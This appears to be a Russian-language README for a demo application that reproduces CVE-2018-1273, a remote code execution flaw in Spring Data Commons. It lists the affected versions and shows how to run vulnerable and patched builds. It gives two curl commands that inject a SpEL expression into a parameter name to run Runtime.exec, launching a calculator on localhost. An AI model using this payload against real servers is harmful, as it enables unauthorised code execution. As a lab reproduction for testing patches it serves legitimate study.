
Эксплойт для CVE-2018-1273, уязвимость связывания свойств в Spring Data Commons, приводящая к удаленному выполнению кода через специально сформированные параметры HTTP-запроса.
Spring Data Commons, версий с 1.13 по 1.13.10, с 2.0 по 2.0.5, а также более старых неподдерживаемых версий, содержит уязвимость связывания свойств, вызванную неправильной нейтрализацией специальных элементов. Неавторизованный удаленный злоумышленник может отправлять специально созданные параметры запросов к HTTP-ресурсам на основе Spring Data REST или использовать привязку полезной нагрузки запроса на основе проекций Spring Data, что может привести к удаленному выполнению кода.
Дополнительная информация здесь
Приложение можно протестировать как с уязвимой, так и с исправленной версией Spring Data Commons.
mvn spring-boot:run
mvn spring-boot:run -Dfixed
Выполните следующую команду, чтобы проверить, можно ли эксплуатировать уязвимость:
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
Создано https://www.arima.eu
